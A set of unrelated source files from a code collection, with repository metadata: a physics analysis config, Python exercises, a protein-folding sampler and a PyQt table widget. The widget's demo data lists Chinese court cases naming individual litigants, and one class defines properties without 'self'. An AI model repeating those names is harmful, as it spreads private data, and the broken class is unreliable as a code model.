:['singlemuon','zll',1,0] #,"Znunu_single_muon_control" :['singlemuon','zjets',1,0] ,"Wjets_single_muon_control" :['singlemuon','wjets',1,1] ,"ZZ_single_muon_control" :['singlemuon','dibosons',1,0] ,"WW_single_muon_control" :['singlemuon','dibosons',1,0] ,"WZ_single_muon_control" :['singlemuon','dibosons',1,0] ,"SingleTop_single_muon_control" :['singlemuon','top',1,0] ,"ttbar_single_muon_control" :['singlemuon','top',1,0] ,"QCD_single_muon_control" :['singlemuon','qcd',1,0] #,"GV_single_muon_control" :['singlemuon','gv',1,0] ,"data_single_muon_control" :['singlemuon','data',0,0] ,"data_photon_control" :['photon','data',0,0] ,"Photon_photon_control" :['photon','gjet',1,1] ,"Zll_photon_control" :['photon','zll',1,0] ,"Wjets_photon_control" :['photon','wjets',1,0] ,"WW_photon_control" :['photon','dibosons',1,0] ,"ZZ_photon_control" :['photon','dibosons',1,0] ,"ttbar_photon_control" :['photon','top',1,0] ,"SingleTop_photon_control" :['photon','top',1,0] ,"QCD_photon_control" :['photon','qcd',1,0] }, "metsamples": { #Di Muon Control Region "Zll_di_muon_control","Znunu_di_muon_control","Wjets_di_muon_control","WW_di_muon_control","WZ_di_muon_control","ZZ_di_muon_control", "ttbar_di_muon_control","SingleTop_di_muon_control", #Single Muon Control Region "Wjets_single_muon_control","Zll_single_muon_control","WW_single_muon_control","WZ_single_muon_control","ZZ_single_muon_control","ttbar_single_muon_control", "SingleTop_single_muon_control", #Photon Control Region "Photon_photon_control","Wjets_photon_control","Zll_photon_control","WW_photon_control","ZZ_photon_control","ttbar_photon_control","SingleTop_photon_control", "QCD_photon_control", #Signal Region "Wjets_signal","Zll_signal","WW_signal","WZ_signal","ZZ_signal","ttbar_signal","SingleTop_signal","QCD_signal", "ggH125_signal" ,"VBFH125_signal" ,"WH125_signal" ,"ZH125_signal","Znunu_signal" }, }, { 'name':"inclusive" ,'in_file_name':"monojet-combo.root" #,'in_file_name':"inclusive-combo.root" ,"cutstring":"mvamet>200 && mvamet<1000" ,"varstring":["mvamet",200,1000] ,"weightname":"weight" ,"bins":[200.0 , 210.0 , 220.0 , 230.0 , 240.0 , 250.0 , 260.0 , 270.0 , 280.0 , 290.0 , 300.0 , 310.0 , 320.0 , 330.0,340,360,380,420,510,1000] ,"additionalvars":[['jet1pt',25,150,1000]] ,"pdfmodel":0 ,"recoilMC" :"recoilfits/recoilfit_Zgj_pfmetraw_2012_mc.root" ,"recoilData":"recoilfits/recoilfit_Zgj_pfmetraw_2012_data.root" ,"muonSF" : 0.985 ,"photonSF": 0.97 ,"samples": { # Format is TreeName : ['region','process',isMC,isSignal] !! Note isSignal means DM/Higgs etc for signal region but Z-jets/W-jets for the di/single-muon regions !! # Signal Region "Znunu_signal" :['signal','zjets',1,0] ,"Zll_signal" :['signal','zll',1,0] ,"Wjets_signal" :['signal','wjets',1,0] ,"WW_signal" :['signal','dibosons',1,0] ,"WZ_signal" :['signal','dibosons',1,0] ,"ZZ_signal" :['signal','dibosons',1,0] ,"ttbar_signal" :['signal','top',1,0] ,"SingleTop_signal" :['signal','top',1,0] ,"QCD_signal" :['signal','qcd',1,0] ,"ggH125_signal" :['signal','ggH',1,1] ,"VBFH125_signal" :['signal','vbf',1,1] ,"WH125_signal" :['signal','wh',1,1] ,"ZH125_signal" :['signal','zh',1,1] #,"GV_signal" :['signal','gv',1,0] ,"data_signal" :['signal','data',0,0] # Di muon-Control ,"Zll_di_muon_control" :['dimuon','zll',1,1] ,"Znunu_di_muon_control" :['dimuon','zjets',1,0] ,"Wjets_di_muon_control" :['dimuon','wjets',1,0] ,"WW_di_muon_control" :['dimuon','dibosons',1,0] ,"WZ_di_muon_control" :['dimuon','dibosons',1,0] ,"ZZ_di_muon_control" :['dimuon','dibosons',1,0] ,"ttbar_di_muon_control" :['dimuon','top',1,0] ,"SingleTop_di_muon_control" :['dimuon','top',1,0] #,"QCD_di_muon_control" :['dimuon','qcd',1,0] #,"GV_di_muon_control" :['dimuon','gv',1,0] ,"data_di_muon_control" :['dimuon','data',0,0] # Single muon control ,"Zll_single_muon_control" :['singlemuon','zll',1,0] #,"Znunu_single_muon_control" :['singlemuon','zjets',1,0] ,"Wjets_single_muon_control" :['singlemuon','wjets',1,1] ,"ZZ_single_muon_control" :['singlemuon','dibosons',1,0] ,"WW_single_muon_control" :['singlemuon','dibosons',1,0] ,"WZ_single_muon_control" :['singlemuon','dibosons',1,0] ,"SingleTop_single_muon_control" :['singlemuon','top',1,0] ,"ttbar_single_muon_control" :['singlemuon','top',1,0] ,"QCD_single_muon_control" :['singlemuon','qcd',1,0] #,"GV_single_muon_control" :['singlemuon','gv',1,0] ,"data_single_muon_control" :['singlemuon','data',0,0] ,"data_photon_control" :['photon','data',0,0] ,"Photon_photon_control" :['photon','gjet',1,1] ,"Zll_photon_control" :['photon','zll',1,0] ,"Wjets_photon_control" :['photon','wjets',1,0] ,"WW_photon_control" :['photon','dibosons',1,0] ,"ZZ_photon_control" :['photon','dibosons',1,0] ,"ttbar_photon_control" :['photon','top',1,0] ,"SingleTop_photon_control" :['photon','top',1,0] ,"QCD_photon_control" :['photon','qcd',1,0] }, "metsamples": { #Di Muon Control Region "Zll_di_muon_control","Znunu_di_muon_control","Wjets_di_muon_control","WW_di_muon_control","WZ_di_muon_control","ZZ_di_muon_control", "ttbar_di_muon_control","SingleTop_di_muon_control", #Single Muon Control Region "Wjets_single_muon_control","Zll_single_muon_control","WW_single_muon_control","WZ_single_muon_control","ZZ_single_muon_control","ttbar_single_muon_control", "SingleTop_single_muon_control", #Photon Control Region "Photon_photon_control","Wjets_photon_control","Zll_photon_control","WW_photon_control","ZZ_photon_control","ttbar_photon_control","SingleTop_photon_control", "QCD_photon_control", #Signal Region "Wjets_signal","Zll_signal","WW_signal","WZ_signal","ZZ_signal","ttbar_signal","SingleTop_signal","QCD_signal", "ggH125_signal" ,"VBFH125_signal" ,"WH125_signal" ,"ZH125_signal","Znunu_signal" }, } ]

[ "Phil@pb-d-128-141-150-9.cern.ch" ]

Phil@pb-d-128-141-150-9.cern.ch

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/old-kata-backup/count_no_of_digit.py

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no_license

Kalaiyarazan/code_kata

f8ce2afb29adf112d9b50a1371a656f2c186988b

532327b7d412565441a329f8f2c7de2362d1a68a

refs/heads/master

2020-07-26T17:40:45.181350

2019-11-03T17:34:26

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py

xyz=str(input()) print(len(xyz))

[ "kalaiyarazan.v@gmail.com" ]

kalaiyarazan.v@gmail.com

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milySW/NNResearchAPI

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from torch.optim.lr_scheduler import MultiplicativeLR as TorchMultiplicativeLR from src.base.scheduler import BaseScheduler class MultiplicativeLR(BaseScheduler, TorchMultiplicativeLR): __doc__ = TorchMultiplicativeLR.__doc__ def __init__(self, optimizer, **kwargs): super().__init__(optimizer, **kwargs)

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gajowczyk.milosz@gmail.com

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/Digite3numeros.py

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l0rennareis/Algoritmo

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2021-03-19T07:25:50.806907

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n1=int(input("digite numero: ")) n2=int(input("digite numero: ")) n3=int(input("digite numero: ")) print (n1) print (n2) print (n3) if n1>n2>n3: print (n3,n2,n1) elif n1>n3>n2: print (n2,n3,n1) elif n2>n1>n3: print (n3,n1,n2) elif n2>n3>n1: print (n1,n3,n2) elif n3>n2>n1: print (n1,n2,n3) elif n3>n1>n2: print (n3,n2,n1)

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l0rennareis.noreply@github.com

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soarhigh03/baekjoon-solutions

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2023-01-04T10:42:32.882285

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""" Baekjoon Online Judge #11650 https://www.acmicpc.net/problem/11650 """ N = int(input()) points = [] for _ in range(N): point = tuple(map(int, input().split())) points.append(point) points.sort() for point in points: print(point[0], point[1])

[ "loop.infinitely@gmail.com" ]

loop.infinitely@gmail.com

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/src/astro/__init__.py

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srswinde/astro

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refs/heads/master

2021-01-20T14:49:52.840690

2018-05-30T05:16:24

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from angles import Hour_angle, RA_angle, Dec_angle, Deg10, Angle import time import math from astrolib2 import starDate

[ "scott@mogit.as.arizona.edu" ]

scott@mogit.as.arizona.edu

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/jojojo.py

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Dopamine101/Prepro

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"""Broken heart boy""" def date(): """print""" toom = input() ivayne = int(input()) sees = toom+"\n" print(sees * ivayne) date()

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JakartaLaw/bayesianfactormodel

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import numpy as np import pandas as pd from collections import defaultdict from model.parameterframe import ParameterFrame from model.plotter import Plotter from collections import defaultdict class Parameters(Plotter): def __init__(self, trace_df): super().__init__(trace_df) @property def k(): p, k = self.get_dimensions() return k @property def p(): p, k = self.get_dimensions() return p def _calc_param_mean_dict(self, skip_obs=None): try: self._calc_helper_param_mean_dict(skip_obs=skip_obs) except AttributeError: self._calc_param_trace_dict() self._calc_helper_param_mean_dict(skip_obs=skip_obs) def _calc_helper_param_mean_dict(self, skip_obs): self.param_mean_dict = dict() for param_name in self.trace_df.columns: param_obs = self.trace_df[param_name][skip_obs:] self.param_mean_dict[param_name] = np.mean(param_obs) def params_to_df(self): params_unordered = self._convert_to_dimension_dict() params_ordered = self._order_to_df(params_unordered) return pd.DataFrame(params_ordered) def _convert_to_dimension_dict(self): #self.k, self.p param_to_df_unordered = defaultdict(list) for param_name, param_val in self.param_mean_dict.items(): (d1, d2) = self._decompose_column_index(param_name) param_to_df_unordered[d2].append((d1, param_val)) return param_to_df_unordered def _order_to_df(self, param_to_df_unordered): params_to_df = dict() for key, tup_list in param_to_df_unordered.items(): params_to_df[key] = self._return_ordered_by_index_params(tup_list) return params_to_df @staticmethod def _return_ordered_by_index_params(tup_list): def sorter(tup): return tup[0] tup_list.sort(key=sorter) return [tup[1] for tup in tup_list]

[ "Jeppe@Jeppes-MacBook-Pro.local" ]

Jeppe@Jeppes-MacBook-Pro.local

e76767b8387ac2db7f8fa709a10ce6fac53354c9

c202e9185995d9bf2d8ae4dc5ec054ae1c481901

/Project 3/code/FragmentSampler.py

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[]

no_license

terryli710/BEIOMEDIN214

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2023-01-24T10:44:13.188814

2020-11-29T04:25:48

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""" This file contains the main fragment sampling class, which performs a Monte Carlo simulated annealing procedure to fold a protein. """ from pyrosetta import * init(extra_options='-mute all -constant_seed') from Bio.SeqIO import parse import math import utils from Protein import Protein from FragmentSet import FragmentSet from typing import Union, Tuple import os import random class MCMCSampler(object): def __init__(self, fasta: str, logdir: str = None, start_pdb: Union[str, None] = None, sample_size=50, annealing_rate=0.999): """ Initializing a MCMC sampler for certain protein The score function is given to you (Rosetta centroid score function) :param fasta: name fasta file :param sample_size: size of candidate fragments in each position attributes: scorefxn: score function, callable target_pose: goal pose, rosetta pose object protein: Protein class fragment_set: FragmentSet class self.candidate_frag: store calculated candidate fragments self.mers: k-mer self.temp: current temperature self.t_end: set ending temperature """ ## 0 # set log self.logdir = logdir ## 1 # set score function self.scorefxn = create_score_function('score3') ## 2 # read pdb file (goal position) # pose_from_pdb doesn't take absolute dir self.protein_name = fasta.split('.')[0] self.target_pose = pose_from_pdb(self.protein_name + '.pdb') ## 3 # read fasta file (protein) fasta_path = os.path.join(self.protein_name + '.fasta') iter = parse(fasta_path, 'fasta') seq = next(iter) # initialize protein, either from seq or from start_pdb if start_pdb: os.chdir(os.path.dirname(start_pdb)) self.protein = Protein(pose=pose_from_pdb(os.path.basename(start_pdb))) else: self.protein = Protein(sequence=seq.seq._data) # store initial pdb self.initial_protein = Protein(sequence=seq.seq._data) ## 4 # get fragment set self.fragment_set = {"9mers": FragmentSet(os.path.join(self.protein_name + "_9mers.frag"), os.path.join(self.protein_name + "_9mers.rmsd")), "3mers": FragmentSet(os.path.join(self.protein_name + "_3mers.frag"), os.path.join(self.protein_name + "_3mers.rmsd"))} ## 5 # parametrize candidate_frag_dict self.candidate_frag = {"9mers": {}, "3mers": {}} for pos in range(1, self.fragment_set["9mers"].length + 1): self.candidate_frag["9mers"][pos] = self.fragment_set["9mers"].get_lowRMS_fragments(pos, sample_size) for pos in range(1, self.fragment_set["3mers"].length + 1): self.candidate_frag["3mers"][pos] = self.fragment_set["3mers"].get_lowRMS_fragments(pos, sample_size) ## 6 # set temperature self.temp = 100 self.t_end = 0.1 ## 7 # set anneal rate self.annealing_rate = annealing_rate return def compute_energy(self, protein: Union[Protein, None] = None) -> float: """ compute energy of protein. Hint: look at utils.py -------- Params: - protein (Protein object): protein to score Return: - energy of conformation (float) """ # NOTE: score_pose cannot take absolute directory if protein: return utils.score_pose(protein.pose, self.scorefxn) else: return utils.score_pose(self.protein.pose, self.scorefxn) def perturb_fragment(self, pos: int, mer: str = "9mers", protein: Union[Protein, None] = None) -> Tuple[ Protein, int]: # you may want to add more arguments """ Sample from possible fragments for a position, and replace torsion angles of that fragment in the protein. Store fragment candidate at certain position (call get_lowRMS just once.) :param protein: optional parameter, if none, use self.protein :param pos: position to change :param mer: mode of function, either "3mers" or "9mers" :return: new Protein with updated angles """ # set a new_pose (protein) if not protein: new_protein = Protein(pose=self.protein.pose) else: new_protein = Protein(pose=protein.pose) # sample candidate fragment random_index = random.randint(0, len(self.candidate_frag[mer][pos]) - 1) frag_chosen = self.candidate_frag[mer][pos][random_index] frag_index = self.fragment_set[mer].findFragIndex(pos, frag_chosen) # insert this fragment and return if mer == "9mers": frag_length = 9 else: frag_length = 3 for i in range(frag_length): new_protein.set_torsion(pos + i, frag_chosen[i][0], frag_chosen[i][1]) return new_protein, frag_index def metropolis_accept(self, new_protein: Protein) -> float: # you may want to add more arguments """ Calculate probability of accepting or rejecting move based on Metropolis criterion. :param new_protein: candidate protein to be calculated and compared :return: probability of accepting """ delta_e = self.compute_energy(new_protein) - self.compute_energy() # formula: if delta_E > 0: exp(-delta_E/kT) return math.exp(-delta_e / self.temp) if delta_e > 0 else 1 def anneal_temp(self) -> bool: """ Anneal temperature using exponential annealing schedule. Consider kT to be a single variable (i.e. ignore Boltzmann constant) :return whether it reached the threshold """ assert self.temp > self.t_end, "Temperature has reached threshold" self.temp *= self.annealing_rate if self.temp <= self.t_end: return True else: return False def step(self, verbose=0) -> bool: """ Take a single MCMC step. Each step should do the following: 1. sample position in chain - Note: think about positions you can sample a k-mer fragment from. For example, you cannot sample from position 1 because there is no phi angle 2. sample fragment at that position and replace torsions in a *copied version* of the protein 3. measure energy after replacing fragment 4. accept or reject based on Metropolis criterion - if accept: incorporate proposed insertion and anneal temperature - if reject: sample new fragment (go to step 3) """ accept = 0 i = 0 done = False if self.temp > 1: mer_str = "9mers" else: mer_str = "3mers" # 1. sample position in chain (e.g. len=10, 3-mers, should sample {1,...,7}) sampled_pos = random.randint(1, self.fragment_set[mer_str].length) # get number of frag in this position pool_size = len(self.candidate_frag[mer_str][sampled_pos]) sampled_set = set() # if accepted or sampled all frags and cannot decide, keep going while not accept and len(sampled_set) < pool_size: # 2. replace torsions in a *copied version* of the protein new_protein, index = self.perturb_fragment(sampled_pos, mer=mer_str) # add to set sampled_set.add(index) # 3. 4. measure energy and decide prob = self.metropolis_accept(new_protein) accept = random.uniform(0, 1) < prob if accept: # incorporate proposed insertion and anneal temperature self.protein = new_protein done = self.anneal_temp() # if reject: sample new fragment (go to step 2) i += 1 if verbose: if accept: print("sampled position = {}, take {} iter to finish, prob is {}".format(sampled_pos, i, prob)) elif len(sampled_set) == pool_size: print("sampled position = {}, didn't accept any frags".format(sampled_pos)) return done def savelog(self, log: dict, file_name: str) -> None: """ save log of sim :param log: log information :param file_name: saved path """ saved_log = "iteration" + "\t" + "\t".join(log.keys()) + "\n" iter = 1 for row in range(len(log["energy"])): saved_log += str(iter) + "\t" saved_log += "\t".join(str(log[key][iter - 1]) for key in log.keys()) saved_log += "\n" iter += 1 with open(file_name, "w") as f: f.write(saved_log) def storeSim(self, best_pdb: Protein, log: dict, sim_index: int) -> Tuple[str, str, int]: """ Store best pdb and log text file to log :param best_pdb: the structure to store as "best.pdb" :param log: log dict to store :param sim_index: int of simulation number :return path to sim folder, path to log folder, sim """ # dealing with paths if not self.logdir: cur_dir = os.getcwd() log_folder_name = self.protein_name + "_log" log_folder_path = os.path.join(cur_dir, log_folder_name) else: log_folder_path = self.logdir if not os.path.exists(log_folder_path): os.mkdir(log_folder_path) sim_folder_name = "sim_" + self.__toStr__(sim_index) sim_folder_path = os.path.join(log_folder_path, sim_folder_name) # avoid path exist error if not os.path.exists(sim_folder_path): os.mkdir(sim_folder_path) # store things # 1. initial pdb self.initial_protein.save_pdb(os.path.join(sim_folder_path, "initial.pdb")) # 2. target pdb target_protein = Protein(pose=self.target_pose) target_protein.save_pdb(os.path.join(sim_folder_path, "target.pdb")) # 3. best pdb best_pdb.save_pdb(os.path.join(sim_folder_path, "best.pdb")) # 6. log.txt self.savelog(log, os.path.join(sim_folder_path, sim_folder_name + "_log.txt")) return sim_folder_path, log_folder_path, sim_index @staticmethod def __toStr__(integer) -> str: """ convert integer to formatted string :param integer: integer to be converted :return: string """ if integer < 10: return "0" + str(integer) else: return str(integer) def simulate(self, sim_index: int, seed: int = 9001) -> Tuple[int, float, float]: """ Run full MCMC simulation from start_temp to end_temp. Be sure to save the best (lowest-energy) structure, so you can access it after. It is also a good idea to track certain variables during the simulation (temp, energy, and more). :param sim_index: simulation index :param seed: int :return: log information """ random.seed(seed) log = {"temperature": [], "energy": []} while True: if self.step(): # store best pdb sim_path, log_folder_path, sim_index = self.storeSim(self.protein, log, sim_index) # calculate relaxed, cd to the folder!! cur_dir = os.getcwd() os.chdir(sim_path) protein, rmsd, score = utils.relax("best.pdb", "target.pdb") os.chdir(cur_dir) break else: # keep track of log log['temperature'].append(self.temp) log['energy'].append(self.compute_energy()) return sim_index, score, rmsd

[ "li.terry710@gmail.com" ]

li.terry710@gmail.com

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41bb733fd028a62961d516847cf9bc4fecc400d8

/Pagination/PageView.py

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TcMysunshine/PyQtExample

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refs/heads/master

2020-04-01T23:04:18.781429

2018-10-25T01:44:29

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import sys from PyQt5.QtCore import * from PyQt5.QtWidgets import * from PyQt5 import QtCore from PyQt5.QtGui import * import math class PageView(QWidget): def __init__(self, data, titles, keys, dataRow=10, dataCol=4): super(PageView, self).__init__() self.resize(960, 790) #当前页数 self.currentPage = 1 #列数 self.dataCol = dataCol #每一页展示数据行数 self.dataRow = dataRow #height self.height = self.dataRow * 70 # 每一列的标题 self.titles = titles self.titles.append("操作") #数据中的key self.keys = keys # 总数据 self.data = data # 获取数据长度 self.length = len(data) # 获取数据可分的页数 # //向上取整， /是得到小数 self.pageNum = math.ceil((self.length / self.dataRow)) # print(str(self.length) + ":" + str(self.dataRow)+":"+str(self.pageNum)) #建立UI self.setUpUI() def setUpUI(self): # 上一页 self.preButton = QPushButton("上一页", self) self.preButton.setGeometry(QtCore.QRect(800, self.height + 10, 50, 20)) self.preButton.clicked.connect(self.backToLastPage) # 下一页 self.nextButton = QPushButton("下一页", self) self.nextButton.setGeometry(QtCore.QRect(860, self.height + 10, 50, 20)) self.nextButton.clicked.connect(self.forwardToNextPage) # 总页数 self.totalPageLabel = QLabel(self) self.totalPageLabel.setGeometry(QtCore.QRect(640, self.height + 10, 60, 20)) self.totalPageLabel.setText("总共" + str(self.pageNum) + "页") # 当前页 self.currentPageLabel = QLabel(self) self.currentPageLabel.setGeometry(QtCore.QRect(700, self.height + 10, 60, 20)) self.currentPageLabel.setText("当前第" + str(self.currentPage) + "页") # 转到第几页 self.label1 = QLabel(self) self.label1.setGeometry(QtCore.QRect(760, self.height + 40, 40, 20)) self.label1.setText("转到第") self.turnToPage = QLineEdit(self) self.turnToPage.setGeometry(QtCore.QRect(805, self.height + 40, 20, 20)) self.turnToPage.setText(str(self.currentPage)) # 转到第几页 self.label1 = QLabel(self) self.label1.setGeometry(QtCore.QRect(825, self.height + 40, 20, 20)) self.label1.setText("页") # 到达指定页 self.targetPageButton = QPushButton("Go", self) self.targetPageButton.setGeometry(QtCore.QRect(860, self.height + 40, 50, 20)) self.targetPageButton.clicked.connect(self.goToTargetPage) #布局 self.layoutWidget = QWidget(self) self.layoutWidget.setGeometry(QtCore.QRect(0, 0, 950, self.height)) self.layout = QVBoxLayout(self.layoutWidget) #返回上一页 def backToLastPage(self): # print("previous") self.currentPage -= 1 if self.currentPage <= 0: # print("到达第一页") QMessageBox.warning(self, "提示", "当前已是第一页") self.currentPage = 1 else: self.layout.removeWidget(self.tableView) # self.model.clear() # self.tableView.reset() # self.model.removeRows(0, 5) self.renderData() self.currentPageLabel.setText("当前第" + str(self.currentPage) + "页") #返回下一页 def forwardToNextPage(self): # print("next") self.currentPage += 1 #到达最后一页 if self.currentPage >= self.pageNum + 1: QMessageBox.warning(self, "提示", "当前已到达最后一页") self.currentPage = self.pageNum else: self.layout.removeWidget(self.tableView) self.renderData() self.currentPageLabel.setText("当前第" + str(self.currentPage) + "页") #到达指定页 def goToTargetPage(self): self.turnToPageValue = int(self.turnToPage.text()) if self.turnToPageValue > self.pageNum or self.turnToPageValue < 1: QMessageBox.warning(self, "提示", "指定页不存在，超出范围") else: self.layout.removeWidget(self.tableView) self.currentPage = self.turnToPageValue # self.model.clear() self.renderData() self.currentPageLabel.setText("当前第" + str(self.currentPage) + "页") def renderData(self): #获取当前需要渲染的数据 self.setCurrentData() #当前行 rowNum = len(self.currentData) self.model = QStandardItemModel(rowNum, self.dataCol + 1) # 设置头 self.model.setHorizontalHeaderLabels(self.titles) self.tableView = QTableView(self.layoutWidget) # height = self.dataRow * 35 self.tableView.resize(950, self.height + 200) self.tableView.verticalHeader().setDefaultSectionSize(62) self.tableView.setColumnWidth(1, 350) #填充数据 for row in range(rowNum): for col in range(self.dataCol): tempValue = self.currentData[row][self.keys[col]] if col > 1: value = str(tempValue)[0:10] else: value = str(tempValue) item = QStandardItem(value) # 居中显示 item.setTextAlignment(Qt.AlignCenter) # 不可编辑 item.setEditable(False) self.model.setItem(row, col, item) #填充数据 self.tableView.setModel(self.model) # 水平方向标签拓展剩下的窗口部分，填满表格 self.tableView.horizontalHeader().setStretchLastSection(True) # #水平方向，表格大小拓展到适当的尺寸 self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) #添加按钮 for buttonRow in range(rowNum): index = self.model.index(buttonRow, self.dataCol) self.tableView.setIndexWidget(index, self.buttonForRow(self.currentData[buttonRow]['ajxh'])) self.layout.addWidget(self.tableView) #点击查看按钮传递案件序号 def viewTable(self, id): print(id) # 列表内添加按钮 def buttonForRow(self, id): widget = QWidget() # 查看 viewBtn = QPushButton('查看') viewBtn.setStyleSheet(''' text-align : center; background-color : DarkSeaGreen; height : 30px; border-style: outset; font : 13px; ''') # 传入参数时要加入lambda viewBtn.clicked.connect(lambda: self.viewTable(id)) #布局 hLayout = QHBoxLayout() hLayout.addWidget(viewBtn) hLayout.setContentsMargins(5, 2, 5, 2) widget.setLayout(hLayout) return widget #将数据渲染表格 # def renderTable(self): # self.tableView = QTableView(self) # # height = self.dataRow * 35 # self.tableView.resize(750, self.height) # self.tableView.setModel(self.model) # # 水平方向标签拓展剩下的窗口部分，填满表格 # self.tableView.horizontalHeader().setStretchLastSection(True) # # #水平方向，表格大小拓展到适当的尺寸 # self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) # self.tableView.se # self.layout.addWidget(self.tableView) # self.vlayout = QHBoxLayout() # self.layout.addWidget(self.vlayout) #设置当前需要展示的数据 def setCurrentData(self): start = (self.currentPage - 1) * self.dataRow end = self.currentPage * self.dataRow #最后一页 if self.currentPage == self.pageNum: self.currentData = self.data[start:self.length] elif self.currentPage < self.pageNum: self.currentData = self.data[start:end] if __name__ == '__main__': app = QApplication(sys.argv) data = { "succeed": True, "message": None, "object": [ { "ajxh": 62578, "ah": "(2018)津民申646号", "ajmc": "天津市润辉建筑发展有限公司与王作录建设工程分包合同纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-02-05T16:00:00.000+0000", "jarq": "2018-04-23T08:16:04.000+0000" }, { "ajxh": 62479, "ah": "(2018)津民终83号", "ajmc": "陕西瑞中贸易有限公司,天津京铁火车头足球俱乐部有限公司不当得利纠纷", "ajxz": "2", "spcx": "2", "spcxdz": "29", "baspt": "06 ", "larq": "2018-01-29T16:00:00.000+0000", "jarq": "2018-07-26T09:28:27.000+0000" }, { "ajxh": 62376, "ah": "(2018)津民申583号", "ajmc": "张树强与南开大学人事争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-24T16:00:00.000+0000", "jarq": "2018-03-27T07:03:19.000+0000" }, { "ajxh": 62387, "ah": "(2018)津民申591号", "ajmc": "李艳卜与天津市保安服务总公司河西分公司劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-24T16:00:00.000+0000", "jarq": "2018-04-04T08:28:39.000+0000" }, { "ajxh": 62243, "ah": "(2018)津民申497号", "ajmc": "天津金地康成投资有限公司与李睿雅劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-22T16:00:00.000+0000", "jarq": "2018-04-04T08:28:19.000+0000" }, { "ajxh": 62245, "ah": "(2018)津民申499号", "ajmc": "宋金美与天津达璞瑞科技有限公司劳动争议纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-22T16:00:00.000+0000", "jarq": "2018-03-27T07:02:41.000+0000" }, { "ajxh": 62101, "ah": "(2018)津民申430号", "ajmc": "天津众起模具制造有限公司,张义宽劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-17T16:00:00.000+0000", "jarq": "2018-03-27T07:02:18.000+0000" }, { "ajxh": 62115, "ah": "(2018)津民申441号", "ajmc": "许莹,天津市弘野建筑工程有限公司,天津市塘沽海洋高新技术开发总公司建设工程施工合同纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-17T16:00:00.000+0000", "jarq": "2018-04-16T08:19:09.000+0000" }, { "ajxh": 62090, "ah": "(2018)津民申420号", "ajmc": "陈志森,天津利顺德大饭店有限公司劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-16T16:00:00.000+0000", "jarq": "2018-04-10T06:27:09.000+0000" }, { "ajxh": 61755, "ah": "(2018)津民申206号", "ajmc": "白雪樱与天津市外国企业专家服务有限公司开发区分公司,天津瑞金国际学校,新地平线国际教育管理（天津）有限公司等劳动争议纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-10T16:00", "jarq": "2018-04-10T06:27:09.000+0000" }, { "ajxh": 62578, "ah": "(2018)津民申646号", "ajmc": "陕西瑞中贸易有限公司,天津京铁火车头足球俱乐部有限公司不当得利纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-02-05T16:00:00.000+0000", "jarq": "2018-04-23T08:16:04.000+0000" }, { "ajxh": 62479, "ah": "(2018)津民终83号", "ajmc": "天津市润辉建筑发展有限公司与王作录建设工程分包合同纠纷", "ajxz": "2", "spcx": "2", "spcxdz": "29", "baspt": "06 ", "larq": "2018-01-29T16:00:00.000+0000", "jarq": "2018-07-26T09:28:27.000+0000" }, { "ajxh": 62376, "ah": "(2018)津民申583号", "ajmc": "张树强与南开大学人事争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-24T16:00:00.000+0000", "jarq": "2018-03-27T07:03:19.000+0000" }, { "ajxh": 62387, "ah": "(2018)津民申591号", "ajmc": "李艳卜与天津市保安服务总公司河西分公司劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-24T16:00:00.000+0000", "jarq": "2018-04-04T08:28:39.000+0000" }, { "ajxh": 62243, "ah": "(2018)津民申497号", "ajmc": "天津金地康成投资有限公司与李睿雅劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-22T16:00:00.000+0000", "jarq": "2018-04-04T08:28:19.000+0000" }, { "ajxh": 62115, "ah": "(2018)津民申441号", "ajmc": "许莹,天津市弘野建筑工程有限公司,天津市塘沽海洋高新技术开发总公司建设工程施工合同纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-17T16:00:00.000+0000", "jarq": "2018-04-16T08:19:09.000+0000" }, { "ajxh": 62245, "ah": "(2018)津民申499号", "ajmc": "宋金美与天津达璞瑞科技有限公司劳动争议纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-22T16:00:00.000+0000", "jarq": "2018-03-27T07:02:41.000+0000" }, { "ajxh": 62101, "ah": "(2018)津民申430号", "ajmc": "天津众起模具制造有限公司,张义宽劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-17T16:00:00.000+0000", "jarq": "2018-03-27T07:02:18.000+0000" }, { "ajxh": 62115, "ah": "(2018)津民申441号", "ajmc": "许莹,天津市弘野建筑工程有限公司,天津市塘沽海洋高新技术开发总公司建设工程施工合同纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-17T16:00:00.000+0000", "jarq": "2018-04-16T08:19:09.000+0000" }, { "ajxh": 62090, "ah": "(2018)津民申420号", "ajmc": "陈志森,天津利顺德大饭店有限公司劳动争议", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-16T16:00:00.000+0000", "jarq": "2018-04-10T06:27:09.000+0000" }, { "ajxh": 61755, "ah": "(2018)津民申206号", "ajmc": "白雪樱与天津市外国企业专家服务有限公司开发区分公司,天津瑞金国际学校,新地平线国际教育管理（天津）有限公司等劳动争议纠纷", "ajxz": "2", "spcx": "3", "spcxdz": "2", "baspt": "06 ", "larq": "2018-01-10T16:00", "jarq": "2018-04-10T06:27:09.000+0000" } ] } # 